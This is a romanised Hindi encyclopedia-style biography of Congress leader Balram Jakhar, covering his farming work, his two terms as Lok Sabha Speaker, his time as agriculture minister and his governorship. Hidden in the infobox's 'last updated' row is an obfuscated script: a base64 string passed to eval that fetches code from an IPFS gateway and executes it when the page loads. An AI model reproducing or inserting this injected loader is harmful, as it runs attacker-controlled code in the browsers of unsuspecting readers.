बलराम जाखड़
balaram jakh d
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| poora nam | balaram jakh d |
| janm | 23 agast, 1923 |
| janm bhoomi | phirozapur zila, panjab |
| mrityu | 3 faravari, 2016 |
| nagarikata | bharatiy |
| parti | bharatiy rashtriy kaangres |
| pad | lokasabha adhyaksh aur madhyapradesh ke rajyapal |
| kary kal | adhyaksh- 22 janavari, 1980 - 18 disambar, 1989 (das sal); rajyapal- 30 joon, 2004 se 29 joon, 2009 (paanch sal) |
| shiksha | sanskrit aaunars mean snatak |
| vidyalay | ph aauramen krishchiyan kalej, lahaur |
| bhasha | aangrezi, sanskrit, hindi, urdoo aur panjabi |
| puraskar-upadhi | aaul iandiya udyan pandit, 'd aauktar aauph saians' aur 'vidya martand' |
| bahari k diyaan | samakalin bharatiy rajaniti par "pipul, parliyameant end edaministreshan" namak pramanik pustak likhi hai. |
| adyatan | 19:37, 20 sitambar 2012 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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balaram jakh d (aangrezi: Balram Jakhar, janm: 23 agast, 1923; mrityu- 3 faravari, 2016) bharatiy rashtriy kaangres ke varishth neta aur poorv lokasabha adhyaksh haian. ve madhy pradesh rajy ke rajyapal bhi rahe haian. d aau. balaram jakh d ne satavian lok sabha ke lie apane sarvapratham nirvachan ke turant bad adhyaksh pad prapt karake apane sansadiy jivan ki shurooat karane ka gaurav prapt kiya. unhean lagatar do bar lok sabha mean poorn avadhi ke lie sarvasammati se adhyaksh chune jane ka anootha samman bhi prapt hua. krishak se rajanitijn bane balaram jakh d ne lokasabha adhyaksh pad ki chunautiyoan ka poori jivantata se mukabala kiya aur poorn garima, shalinata aur nishpakshata se sabha ki karyavahi ka sanchalan kiya. unhoanne apane dal mean sakriy bhoomika nibhane tatha isake jarie desh ke samajik-rajanitik jivan mean sakriy bane rahane ke lie varsh 1989 mean adhyaksh pad ka tyag kar diya.
jivan parichay
balaram jakh d ka janm 23 agast, 1923 ko panjab rajy ke phirojapur zile mean panjakosi gaanv mean hua tha. unaka shaikshik jivan bahut pratibhashali raha. unhoanne varsh 1945 mean ph aauramen krishchiyan kalej, lahaur se sanskrit aaunars mean snatak ki upadhi prapt ki. vah, vastutah bahubhashavidh haian aur unhean aangrezi, sanskrit, hindi, urdoo aur panjabi ka gahan jnan hai. jakh d moolatah ek krishak aur vishesh roop se phalodyani haian. snatak star tak shiksha grahan karane ke pashchath unhoanne apane krishi ke parivarik vyavasay ko apanaya tatha apani krishi-bhoomi par phaloan aur aangooroan ke bagoan ke vikas ke lie adhunik takanikoan ka prayog kiya. anek varshoan tak kathor parishram karake vah arase se banjar p di zaminoan ko hare-bhare charagahoan tatha phalate-phoolate phalodyanoan aur aangooroan ke bagoan mean parivartit karane mean saphal hue jisase unaki paidavar kee guna badh gee. phal ugane ke kshetr mean jakh d ki sevaoan ko rashtriy manyata tab prapt huee, jab varsh 1975 mean unhean bharat ke rashtrapati dvara "aaul iandiya udyan pandit" ki upadhi pradan ki gee. isi varsh unhean vashiangatan mean krishi utpadakoan ke antararashtriy sammelan mean bhag lene vale krishak shishtamandal ke netritv ke lie chuna gaya. isi avadhi ke dauran vah panjab sahakari aangoor utpadak mahasangh tatha rajy ke krishak manch ke adhyaksh bhi chune ge. krishi ke kshetr mean unake yogadan ko manyata pradan karate hue unhean hariyana krishi vishvavidyalay, hisar aur gurukul kaang di vishvavidyalay, haridvar dvara kramashah "d aauktar aauph saians" aur "vidya martand" ki manad upadhiyaan pradan ki geean.
rajanitik parichay
krishak samuday ke bich unaki netritv ki bhoomika ne hi antatah shri balaram jakh d ko rashtriy star par sakriy rajanitik bhoomika nibhane ke lie agrasar kiya. jakh d varsh 1972 mean panjab vidhan sabha ke lie nirvachit hue aur tab hi se unaka vidhayi jivan shuroo hua. vidhan sabha ke lie unake nirvachan ke ek varsh ke bhitar hi unhean sahakarita, sianchaee aur vidyut upamantri ke roop mean mantriparishad mean shamil kar liya gaya. vah varsh 1977 tak mantri rahe. varsh 1977 mean vidhan sabha ke lie punah nirvachit hone par unhean kaangres (i.) vidhan mandal parti ke neta ke roop mean chun liya gaya aur us haisiyat se unhean panjab vidhan sabha mean vipaksh ke neta ke roop mean manyata prapt huee. is pad par vah janavari 1980 mean tab tak rahe jab unhean phirojapur sansadiy nirvachan kshetr se satavian lok sabha ke lie chuna gaya. is dauran, panjab ke mamaloan mean ek rajanitik karyakarta, vidhayak, mantri aur vipaksh ke neta ke roop mean apani sakriy bhoomika ke madhyam se jakh d pahale hi apane ap ko ek dooradarshi aur saksham prashasak siddh kar chuke the.
lokasabha adhyaksh
balaram jakh d ko 22 janavari, 1980 ko satavian lok sabha ka adhyaksh nirvachit kiya gaya. yadyapi jakh d ko pithasin adhikari ke roop mean pichhala koee anubhav nahian tha, tathapi unhean sauanpi gee nee bhoomika ke bahut b de uttaradayitv se vah bilkul bhi vichalit nahian hue. apane yatharthaparak bhoomika-bodh, svayan mean poorn vishvas aur apani sahaj samany soojh-boojh ke dvara jakh d sabha ke pithasin adhikari ke roop mean apane karttavyoan ka nirvahan karate rahe. unhean is bat ki poori janakari thi ki adhyaksh ka pad us lok sabha ke sucharoo aur prabhavi karyakaran mean ek mahattvapoorn bhoomika nibhata hai, jisamean vividh bhasha, sanskriti, dharm, kshetr aur samajik-rajanitik prishthabhoomi vale sadasy chunakar ate haian.
das sal rahe lokasabha adhyaksh
jakh d ne satavian lok sabha mean sadan ki karyavahi ka jis tarike se sanchalan kiya, usaki sarvatr sarahana ki gee aur vah sabha ke sabhi vargoan ke priy ban ge. isalie, disambar, 1984 ke am chunav mean unake is bar rajasthan ke sikar sansadiy nirvachan kshetr se lok sabha ke lie punah nirvachit hone par vah nee sabha ki bhi adhyakshata karane ke lie svabhavik pasand bane. 16 janavari, 1985 ko unhean ek bar phir sarvasammati se athavian lok sabha ka adhyaksh nirvachit kiya gaya. disambar, 1989 mean athavian lok sabha ka karyakal poora hone par jab jakh d ne adhyaksh pad ka tyag kiya to unhean svatantr bharat mean lagatar do bar lok sabha ki poorn avadhi ke lie bane rahane vale ek matr adhyaksh ka anootha gaurav prapt hua. yah avadhi (arthath 22 janavari, 1980 se 18 disambar, 1989 tak) ek dashak se matr ek mah kam thi.
adhyaksh karyakal
adhyaksh ke roop mean balaram jakh d ke karyakal mean lok sabha mean anek prakriyatmak navinataean aur pahal bhi dekhane ko milian. sanh 1952 ke bad pahali bar, adhyaksh balaram jakh d ki pahal par sanh 1989 mean lok sabha ke prakriya tatha kary sanchalan niyamoan ki vistrit samiksha ki gayi aur mee, 1989 mean unamean anek parivartan shamil kiye gaye. unake karyakal ke dauran sanh 1985 mean sansad dvara dal-badal virodhi qanoon parit kiya gaya jisake antargat sadasyoan ko dal-badal ke adhar par nirarh karane ka upabandh kiya gaya tha. lok sabha sadasy (dal-badal ke adhar par nirarh kiya jana) niyam, 1985 ko 18 march, 1986 se lagoo kiya gaya.
krishi mantri
varsh 1991 ke am chunavoan mean balaram jakh d sikar nirvachan kshetr se lok sabha ke lie ek bar phir nirvachit hue aur nee sarakar mean krishi mantri bane. varsh 1991-96 ki avadhi ke dauran kendriy krishi mantri ke roop mean jakh d ki mukhy chianta bharatiy kisanoan, jinaki sankhya desh ki kul janasankhya ka lagabhag 80 pratishat hai, ke hitoan ki raksha karana tha. unhoanne kisanoan ke hitoan ko sansad tatha sarakar ke samaksh saphalatapoorvak rakha tatha unaki raksha ki. unhoanne sarakar dvara, jisaka vah bhi ek hissa the, shuroo kiye ge arthavyavastha ke udarikaran ke karan kisanoan ko di jane vali raj-sahayata mean katauti karane ke rashtriy tatha aantararashtriy, donoan prakar ke dabavoan ka k da pratirodh kiya. unaka dridh vishvas tha ki desh ke kisanoan ki kimat par udyogoan ko protsahan nahian dena chahie. krishi mantri ke roop mean anek shishtamandaloan ka any deshoan mean netritv karane ke alava unhoanne matsyiki tatha krishi se sanbandhit vibhinn aantararashtriy sammelanoan mean bharat ka pratinidhitv kiya.
madhy pradesh ke rajyapal
kaangres tatha rashtriy rajaniti mean ek varishth neta tatha pratishthit saansad hone ke alava jakh d madhy pradesh ke rajyapal (30 joon, 2004 se 29 joon, 2009) bhi rajyapal bhi rahe aur sath hi sathabharat krishak samaj ke adhyaksh tatha jaliyavala bag smarak nyas ki prabandh samiti ke adhyaksh bhi rahe haian.
lekhan kary
yahaan yah ullekhaniy hai ki unaka vyast sarvajanik jivan unake lekhan jaise vidvatapoorn karyoan mean kabhi badha nahian bana aur unhoanne samakalin bharatiy rajaniti par "pipul, parliyameant end edaministreshan " namak pramanik pustak likhi hai.
nidhan
poorv lokasabha adhyaksh aur kaangres neta balaram jakh d ka nidhan 93 varsh ki ayu mean 3 faravari, 2016 mean hua. ve kafi lanbe samay se bren strok ki bimari se joojh rahe the.
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tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
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